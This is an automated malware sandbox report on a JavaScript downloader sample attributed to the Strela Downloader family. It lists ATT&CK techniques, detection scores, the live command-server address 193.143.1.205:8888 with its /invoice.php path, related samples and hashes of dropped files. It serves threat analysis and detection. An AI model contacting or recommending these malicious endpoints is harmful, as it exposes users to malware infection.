Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
229242754773566299.js	5%	Virustotal		Browse
229242754773566299.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888//	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3531641076.000001A0F5600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2354510135.000001A0F5430000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2353935501.000001B827A48000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2348930952.000001B827A9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2353935501.000001B827A48000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2353157187.000001B827A83000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2354004612.000001B827A83000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888//	net.exe, 00000007.00000003.2353157187.000001B827A83000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2354004612.000001B827A83000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587816
Start date and time:	2025-01-10 18:13:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	229242754773566299.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 20.190.159.73, 20.190.159.68, 40.126.31.71, 40.126.31.67, 20.190.159.75, 20.190.159.23, 40.126.31.69, 20.190.159.0, 184.28.88.176, 52.6.155.20, 3.219.243.226, 52.22.41.97, 3.233.129.217, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 20.12.23.50, 23.33.224.183
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, login.live.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, ocsp.edge.digicert.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, p13n.adobe.io, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, geo2.adobe.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:14:42	API Interceptor	22x Sleep call for process: powershell.exe modified
12:14:46	API Interceptor	1x Sleep call for process: net.exe modified
12:14:46	API Interceptor	2x Sleep call for process: svchost.exe modified
12:14:59	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	GhwFStoMJX.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	AudioCodesAppSuite.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	launcher.exe.bin.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse	192.229.221.95
	Shipping Document.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	192.229.221.95
	https://marcuso-wq.github.io/home/	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	1.png	Get hash	malicious	Unknown	Browse	192.229.221.95
	atomxml.ps1	Get hash	malicious	PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	192.229.221.95
	TR98760H.exe	Get hash	malicious	AgentTesla	Browse	192.229.221.95
	Payment-Order #24560274 for 8,380 USD.exe	Get hash	malicious	XWorm	Browse	192.229.221.95
	invoice-1623385214.pdf.js	Get hash	malicious	PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2486775641261320080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	647915480318827205.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307111120955151
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugQ:gJjJGtpTq2yv1AuNZRY3diu8iBVqFm
MD5:	F2B51912056958CF163459E64C6ED2D0
SHA1:	203FC031EB01971B67721C1CEDB643D8749953E2
SHA-256:	C36FB2CB5048F8F1D3C12CD803D4FC913728D9C066C23A6E8B73103F58F32F77
SHA-512:	337DB5ED46CAB8E3E6B222B7A55E6BDEDD361609E753F7802EB572AEDAE56BEB9F708A924CBB600BE8A401207E0AAEB71BBDCD6A119ACBE6A0803C9850271258
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x44939d8d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585716727211223
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:5aza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	0A6376A9884E822A65C5026D54998013
SHA1:	682BF96BC21EA1ED47648C30E102155CDC6D2804
SHA-256:	895D088B68D3ADE9EB7CD979AEFCF3A1D41C9C2019342CC391D9B9A9E116520E
SHA-512:	606B0E0C3576722A49AD7B29F9E734F5F5B5E5822440874824D3D40FD51E62AC58472548EF36264AFB206F575F5BC3696F7ED246FB4291A4DFC74DD382CAC679
Malicious:	false
Preview:	D...... ...............X\...;...{......................0.z..........{../....}g.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................z.../....}C...................b./....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08089447563307003
Encrypted:	false
SSDEEP:	3:pUYe9XwyekGuAJkhvekl1o5ZkPltAllrekGltll/SPj:pUz9htrxlm8NtAJe3l
MD5:	BAA9308C6C7013ED3E28056EB31310D4
SHA1:	0C28985E6578F3D70426721B95961A96E3733042
SHA-256:	ED0EA5E5AE2965B3AE2F6247A83C28BA90726054C041AD83F73BE008F8647660
SHA-512:	10096791CC447E3EE2A2093FDE1DB6F266E5BEBBE71AD9C765CDC367014BEB0CE31501FCF44037B6ED441828E4BDA4B13E7160F5A4B7AF4E78DA3823385C9AD1
Malicious:	false
Preview:	9.HD.....................................;...{../....}.......{...............{.......{...XL......{....................b./....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.197525674286274
Encrypted:	false
SSDEEP:	6:iO4Q99+q2P92nKuAl9OmbnIFUtSQrNJZmwsQrN9VkwO92nKuAl9OmbjLJ:7v99+v4HAahFUtFrNJ/brN9V5LHAaSJ
MD5:	CF912891A025D3D1D08684CF985D8764
SHA1:	E7AD1D9E3F2C05F7E261637C959E8803822E80AA
SHA-256:	99A3CFF997287DBC914D7593982291E5BCDE1AC239A22B8A215B97419065FF18
SHA-512:	B5377D1A3E0E5F5FF85606BD546446C30EB1A36C23B9AAB9BECB65B136387C4464D3E29B7542E17E437DFE00C3176C10796FA32F47151CE06780FDCC29871E0F
Malicious:	false
Preview:	2025/01/10-12:14:46.971 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:14:46.975 1c4c Recovering log #3.2025/01/10-12:14:46.975 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.197525674286274
Encrypted:	false
SSDEEP:	6:iO4Q99+q2P92nKuAl9OmbnIFUtSQrNJZmwsQrN9VkwO92nKuAl9OmbjLJ:7v99+v4HAahFUtFrNJ/brN9V5LHAaSJ
MD5:	CF912891A025D3D1D08684CF985D8764
SHA1:	E7AD1D9E3F2C05F7E261637C959E8803822E80AA
SHA-256:	99A3CFF997287DBC914D7593982291E5BCDE1AC239A22B8A215B97419065FF18
SHA-512:	B5377D1A3E0E5F5FF85606BD546446C30EB1A36C23B9AAB9BECB65B136387C4464D3E29B7542E17E437DFE00C3176C10796FA32F47151CE06780FDCC29871E0F
Malicious:	false
Preview:	2025/01/10-12:14:46.971 1c4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:14:46.975 1c4c Recovering log #3.2025/01/10-12:14:46.975 1c4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.128364698846484
Encrypted:	false
SSDEEP:	6:iO4Q4M+q2P92nKuAl9Ombzo2jMGIFUtSQ0EmZmwsQkMVkwO92nKuAl9Ombzo2jM4:7vB+v4HAa8uFUtF0v/bFV5LHAa8RJ
MD5:	50D015151281261F0DF1B66D89D13FC8
SHA1:	51383995F7312C1BCE80EE717FFFD394138E2427
SHA-256:	3E9B1701146D39CE45D64C656E8A8A4F77DF1BCD60D255E28FC4C371E55F8386
SHA-512:	907F969EB17A182443F5D01930F45DA41C6EAFD386C091BAEAFE773DCA7A46D7876EB5B34FFF4ADC42338D87E410533A1CA29449CDB81C6F2CA961C1A6769E99
Malicious:	false
Preview:	2025/01/10-12:14:47.069 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:14:47.071 1cac Recovering log #3.2025/01/10-12:14:47.072 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.128364698846484
Encrypted:	false
SSDEEP:	6:iO4Q4M+q2P92nKuAl9Ombzo2jMGIFUtSQ0EmZmwsQkMVkwO92nKuAl9Ombzo2jM4:7vB+v4HAa8uFUtF0v/bFV5LHAa8RJ
MD5:	50D015151281261F0DF1B66D89D13FC8
SHA1:	51383995F7312C1BCE80EE717FFFD394138E2427
SHA-256:	3E9B1701146D39CE45D64C656E8A8A4F77DF1BCD60D255E28FC4C371E55F8386
SHA-512:	907F969EB17A182443F5D01930F45DA41C6EAFD386C091BAEAFE773DCA7A46D7876EB5B34FFF4ADC42338D87E410533A1CA29449CDB81C6F2CA961C1A6769E99
Malicious:	false
Preview:	2025/01/10-12:14:47.069 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:14:47.071 1cac Recovering log #3.2025/01/10-12:14:47.072 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5ad33fd6-2eef-4b1e-ac99-5147cad16be7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.058516645744621
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqqWsBdOg2Hncaq3QYiubxnP7E4T3OF+:Y2sRds5dMHG3QYhbxP7nbI+
MD5:	6CC8EEFE4BEDED1A0827881DF8DD322C
SHA1:	358D6FDD1ECD248BE630DBC9A470A71B272AA8F6
SHA-256:	7F1327B9045E2B6FDF784871A83690B1FD22A1C077589CF5400DD53B6C21B6FB
SHA-512:	F8B2495E219E68DE13314A9ED907F6979F049222BCA240B61AFBFB5DE0EF23D9205627B0E65093C5CF76384E87ADA60BDC5EAAA4257F588BD5F215C5DDCEB70A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089299008417","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140703},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.058516645744621
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqqWsBdOg2Hncaq3QYiubxnP7E4T3OF+:Y2sRds5dMHG3QYhbxP7nbI+
MD5:	6CC8EEFE4BEDED1A0827881DF8DD322C
SHA1:	358D6FDD1ECD248BE630DBC9A470A71B272AA8F6
SHA-256:	7F1327B9045E2B6FDF784871A83690B1FD22A1C077589CF5400DD53B6C21B6FB
SHA-512:	F8B2495E219E68DE13314A9ED907F6979F049222BCA240B61AFBFB5DE0EF23D9205627B0E65093C5CF76384E87ADA60BDC5EAAA4257F588BD5F215C5DDCEB70A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089299008417","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140703},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237124933982855
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUGKwob:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLy
MD5:	FB1F2132AD7DCDA0A8ECB3538765DC29
SHA1:	63AD6FFA4EF1C6FD48FAEB367F26994152CF8CA7
SHA-256:	A50D5809BE88582463E8E2DAF3232A7AB60D5E6B46665A994BE2918FF65E49EA
SHA-512:	BD5411F65104164B3CF81D518B790202F8106CC0584D3ED67E1D32EF12E94BBF676387657EB63C01EDB1B946A4F541238019B8C8EB951FC80758087B405CEBFD
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1246451206161465
Encrypted:	false
SSDEEP:	6:iO4QZjspM+q2P92nKuAl9OmbzNMxIFUtSQZWJvZmwsQZWJiMVkwO92nKuAl9Ombg:7vZgi+v4HAa8jFUtFZq/bZGV5LHAa84J
MD5:	2300263529B5BDD8C5F28495ECD637F7
SHA1:	5B29E7987683D979197E5A6033F2D92CDF4BEF74
SHA-256:	B73CB868959E2EF9A19EED49EB8A900F586B4B25B49458AE0BA1FA0A5552EC43
SHA-512:	E2932CBE5F82D7094926C33D0C3A83110C3D3E827D85F641953B418067C62BF3AF1E164FA8D99A10864AEE1B265B0A01693D2D1722280A9E8097B2167B8861E6
Malicious:	false
Preview:	2025/01/10-12:14:47.133 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:14:47.134 1cac Recovering log #3.2025/01/10-12:14:47.134 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1246451206161465
Encrypted:	false
SSDEEP:	6:iO4QZjspM+q2P92nKuAl9OmbzNMxIFUtSQZWJvZmwsQZWJiMVkwO92nKuAl9Ombg:7vZgi+v4HAa8jFUtFZq/bZGV5LHAa84J
MD5:	2300263529B5BDD8C5F28495ECD637F7
SHA1:	5B29E7987683D979197E5A6033F2D92CDF4BEF74
SHA-256:	B73CB868959E2EF9A19EED49EB8A900F586B4B25B49458AE0BA1FA0A5552EC43
SHA-512:	E2932CBE5F82D7094926C33D0C3A83110C3D3E827D85F641953B418067C62BF3AF1E164FA8D99A10864AEE1B265B0A01693D2D1722280A9E8097B2167B8861E6
Malicious:	false
Preview:	2025/01/10-12:14:47.133 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:14:47.134 1cac Recovering log #3.2025/01/10-12:14:47.134 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.750397451508313
Encrypted:	false
SSDEEP:	3:kkFklcmi/tfllXlE/HT8k0dZNNX8RolJuRdxLlGB9lQRYwpDdt:kKFmyeT8jNMa8RdWBwRd
MD5:	28654AA9E4454BA519FB695E868E3D86
SHA1:	D7C36A989B17353DEBE942D10D9E7604E408A4B6
SHA-256:	64ABCF69D3EBB7E8EF6C950650E341645FE9CC6D510B764AB8531354B12AD962
SHA-512:	1E58EC7CC1470E56E6AE525342C74A69DEB049BBA90CD5AAB1716D6F5F10D0610CB5F48AE2A39EFC94B1FEF8D5DE52D4BE8BFBBC08F056A1FAD9DCA5A7D11868
Malicious:	false
Preview:	p...... ..........t-.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
